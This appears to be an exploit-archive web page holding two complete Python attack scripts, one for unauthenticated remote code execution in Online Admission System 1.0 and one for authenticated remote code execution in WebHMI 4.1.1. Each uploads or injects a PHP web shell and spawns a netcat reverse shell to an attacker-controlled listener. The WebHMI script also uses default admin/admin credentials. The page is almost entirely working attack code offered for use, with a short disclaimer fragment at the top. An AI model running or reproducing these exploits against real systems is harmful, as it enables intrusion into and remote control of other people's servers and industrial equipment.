any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: Online Admission System 1.0 - Remote Code Execution (RCE) (Unauthenticated)<br /># Date: 23/12/2021<br /># Exploit Author: Jeremiasz Pluta<br /># Vendor Homepage: https://github.com/rskoolrash/Online-Admission-System<br /># Software Link: https://github.com/rskoolrash/Online-Admission-System<br /># Tested on: LAMP Stack (Debian 10)<br /><br />#!/usr/bin/python<br />import sys<br />import re<br />import argparse<br />import requests<br />import time<br />import subprocess<br /><br />print('Exploit for Online Admission System 1.0 - Remote Code Execution (Unauthenticated)')<br /><br />path = '/' #change me if the path to the /oas is in the root directory or another subdir<br /><br />class Exploit:<br /><br /> def __init__(self, target_ip, target_port, localhost, localport):<br /> self.target_ip = target_ip<br /> self.target_port = target_port<br /> self.localhost = localhost<br /> self.localport = localport<br /><br /> def exploitation(self):<br /> payload = """<?php system($_GET['cmd']); ?>"""<br /> payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""<br /><br /> url = 'http://' + target_ip + ':' + target_port + path<br /> r = requests.Session()<br /><br /> print('[*] Resolving URL...')<br /> r1 = r.get(url + 'documents.php')<br /> time.sleep(3)<br /><br /> #Upload the payload file<br /> print('[*] Uploading the webshell payload...')<br /> files = {<br /> 'fpic': ('cmd.php', payload + '\n', 'application/x-php'),<br /> 'ftndoc': ('', '', 'application/octet-stream'),<br /> 'ftcdoc': ('', '', 'application/octet-stream'),<br /> 'fdmdoc': ('', '', 'application/octet-stream'),<br /> 'ftcdoc': ('', '', 'application/octet-stream'),<br /> 'fdcdoc': ('', '', 'application/octet-stream'),<br /> 'fide': ('', '', 'application/octet-stream'),<br /> 'fsig': ('', '', 'application/octet-stream'),<br /> }<br /> data = {'fpicup':'Submit Query'}<br /> r2 = r.post(url + 'documents.php', files=files, allow_redirects=True, data=data)<br /> time.sleep(3)<br /><br /> print('[*] Setting up netcat listener...')<br /> listener = subprocess.Popen(["nc", "-nvlp", self.localport])<br /> time.sleep(3)<br /><br /> print('[*] Spawning reverse shell...')<br /> print('[*] Watchout!')<br /> r3 = r.get(url + '/studentpic/cmd.php?cmd=' + payload2)<br /> time.sleep(3)<br /><br /> if (r3.status_code == 200):<br /> print('[*] Got shell!')<br /> while True:<br /> listener.wait()<br /> else:<br /> print('[-] Something went wrong!')<br /> listener.terminate()<br /><br />def get_args():<br /> parser = argparse.ArgumentParser(description='Online Admission System 1.0 - Remote Code Execution (RCE) (Unauthenticated)')<br /> parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')<br /> parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')<br /> parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')<br /> parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')<br /> args = parser.parse_args()<br /> return args<br /><br />args = get_args()<br />target_ip = args.url<br />target_port = args.target_port<br />localhost = args.localhost<br />localport = args.localport<br /><br />exp = Exploit(target_ip, target_port, localhost, localport)<br />exp.exploitation()<br /> <br /></code></pre>
<pre><code># Exploit Title: WebHMI 4.1.1 - Remote Code Execution (RCE) (Authenticated)<br /># Date: 03/01/2022<br /># Exploit Author: Antonio Cuomo (arkantolo)<br /># Vendor Homepage: https://webhmi.com.ua/en/<br /># Version: WebHMI 4.1.1.7662<br /># Tested on: WebHMI-4.1.1.7662<br /><br />#!/usr/bin/python<br />import sys<br />import re<br />import argparse<br />import requests<br />import time<br />import subprocess<br /><br />print("\nWebHMI 4.1.1 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")<br />print("Level2 account must be enabled !\n");<br /><br />login = "admin" <br />password = "admin"<br /><br />class Exploit:<br /><br /> def __init__(self, target_ip, target_port, localhost, localport):<br /> self.target_ip = target_ip<br /> self.target_port = target_port<br /> self.localhost = localhost<br /> self.localport = localport<br /><br /> def exploitation(self):<br /> reverse = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""<br /> payload = "<?php+system($_GET['c']);+?>"<br /> <br /> headers_login = {<br /> 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',<br /> 'Accept': 'application/json, text/javascript, */*; q=0.01',<br /> 'Accept-Language': 'en-US,en;q=0.5',<br /> 'Accept-Encoding': 'gzip, deflate',<br /> 'Content-Type': 'application/json',<br /> 'X-WH-LOGIN': login,<br /> 'X-WH-PASSWORD': password,<br /> 'X-Requested-With': 'XMLHttpRequest',<br /> 'Connection': 'close',<br /> 'Content-Length': '0'<br /> }<br /><br /> url = 'http://' + target_ip + ':' + target_port <br /> r = requests.Session()<br /><br /> print('[*] Resolving URL...')<br /> r1 = r.get(url)<br /> time.sleep(3)<br /><br /> print('[*] Trying to log in...')<br /> r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)<br /> time.sleep(3)<br /><br /> print('[*] Login redirection...')<br /> login_cookies = {<br /> 'X-WH-SESSION-ID':r2.headers['X-WH-SESSION-ID'],<br /> 'X-WH-CHECK-TRIAL':'true',<br /> 'il18next':'en',<br /> }<br /> r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)<br /> time.sleep(3)<br /> <br /> print('[*] Bypassing basedir...')<br /> for i in range(0, len(payload)):<br /> #print(payload[i])<br /> rp = r.get(url + '/setup/backup.php?sync=`echo%20-n%20"' + payload[i] + '">>cmd.php`', cookies=login_cookies)<br /> time.sleep(0.2)<br /><br /> print('[*] Setting up listener...')<br /> listener = subprocess.Popen(["nc", "-nlp", self.localport])<br /> time.sleep(2)<br /><br /> print('[*] Executing payload...')<br /> time.sleep(1)<br /> print('[*] Waiting reverse shell...')<br /> r4 = r.get(url + '/setup/cmd.php?c=`' + reverse + '`.bak', cookies=login_cookies)<br /><br /> if (r4.status_code == 200):<br /> print('[*] Got shell!')<br /> while True:<br /> listener.wait()<br /> else:<br /> print('[-] Something went wrong!')<br /> listener.terminate()<br /><br />def get_args():<br /> parser = argparse.ArgumentParser(description='WebHMI 4.1.1 - Remote Code Execution (Authenticated)')<br /> parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')<br /> parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')<br /> parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')<br /> parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')<br /> args = parser.parse_args()<br /> return args<br /><br />args = get_args()<br />target_ip = args.url<br />target_port = args.target_port<br />localhost = args.localhost<br />localport = args.localport<br /><br />exp = Exploit(target_ip, target_port, localhost, localport)<br />exp.exploitation()<br /> <br /><br /></code></pre>
Archives
Categories
- All Exploits 4095
- Remote Code Execution
- SQL Injection
- Command Injection
- Local File Inclusion
- Cross Site Scripting
- Privilege Escalation
- Denial Of Service
- Authentication Bypass
- Buffer Overflow